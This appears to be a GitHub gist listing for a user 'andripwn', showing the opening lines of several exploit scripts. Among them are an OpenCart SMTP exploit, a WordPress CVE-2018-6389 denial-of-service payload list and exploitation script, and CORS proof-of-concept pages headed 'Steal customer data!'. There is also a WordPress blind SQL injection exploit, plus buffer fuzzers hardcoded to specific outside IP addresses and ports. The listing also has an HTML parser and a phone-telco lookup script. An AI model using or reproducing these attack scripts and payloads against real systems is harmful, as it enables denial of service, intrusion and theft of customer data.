andripwn’s gists

andripwn / opencart.py

Created May 22, 2020 16:51

smtp exploit

	# coding=utf-8
	import requests, re, threading, time
	from Exploits import printModule
	r = '\033[31m'
	g = '\033[32m'
	y = '\033[33m'
	b = '\033[34m'
	m = '\033[35m'
	c = '\033[36m'
	w = '\033[37m'

andripwn / CVE-2018-6389

Created May 29, 2020 06:58

CVE-2018-6389-payloads

eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery

andripwn / StealingCustomer.html

Created June 13, 2020 12:34

	<!DOCTYPE html>
	<html>
	<body>
	<center>
	<h3>Steal customer data!</h3>
	<html>
	<body>
	<button type='button' onclick='cors()'>Exploit</button>
	<p id='demo'></p>
	<script>

andripwn / poccors.html

Last active August 6, 2022 04:36

Cross Origin Resource Sharing Misconfiguration

	<!DOCTYPE html>
	<html>
	<body>
	<center>
	<h3>Steal customer data!</h3>
	<html>
	<body>
	<button type='button' onclick='cors()'>Exploit</button>
	<p id='demo'></p>
	<script>

andripwn / WSQL.php

Created June 27, 2020 08:02

2.1.3 - 'admin-ajax.php' SQL Injection Blind Fishing

	<?php
	error_reporting(E_ALL);
	$norm_delay = 0;
	///////////////////////////////////////////////////////////////////////
	///////////////////////////////////////////////////////////////////////
	// WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
	// written by Andri Wahyudi "Pwn0sec"
	// http://www.pwn0day.com/
	// 27. June 2020
	///////////////////////////////////////////////////////////////////////

andripwn / fuzz3.py

Last active June 28, 2020 14:49

	#!/usr/bin/python
	#https://github.com/gh0x0st
	#[email protected]

	import sys,socket
	address = '107.22.193.119'
	port = 9999
	buffer = ['\x41']
	counter = 1000
	while len(buffer)<= 100:

andripwn / webserv-turkish.py

Created July 12, 2020 15:54

	#!/usr/bin/python
	#https://github.com/gh0x0st
	#[email protected]

	import sys,socket
	address = '46.31.116.71'
	port = 3389
	buffer = ['\x41']
	counter = 100
	while len(buffer)<= 10:

andripwn / CVE-2018-6389.py

Created July 21, 2020 22:16

CVE-2018-6389 Exploitation /wp-admin/

	import requests
	import threading
	import random

	ban = """
	01000011 01010110 01000101 00101101 00110010
	00110000 00110001 00111000 00101101 00110110
	00110011 00111000 00111001 01000101 01111000
	01110000 01101100 01101111 01101001 01110100
	"""

andripwn / simple_html_dom.php

Created July 27, 2020 13:31

	<?php
	/**
	* Website: http://sourceforge.net/projects/simplehtmldom/
	* Additional projects that may be used: http://sourceforge.net/projects/debugobject/
	* Acknowledge: Jose Solorzano (https://sourceforge.net/projects/php-html/)
	* Contributions by:
	* Duck Research (Attribute filters)
	* Chickflow (Negative indexes supports of "find" method)
	* 0x1_aulia (Constructor with automatically load contents either text or file/url)
	*

andripwn / telcoscan.php

Created July 27, 2020 15:16

Simple PHP Script to check telco provider of any Malaysian phone number.

	#!/usr/bin/env php
	<?php
	/**
	* Coded by Duck Research
	* 27 July 2020
	*
	* Check phone number telco using HLRLookup.
	* API Documentation: https://www.hlr-lookups.com/en/api-docs
	*/

mickeybrew andripwn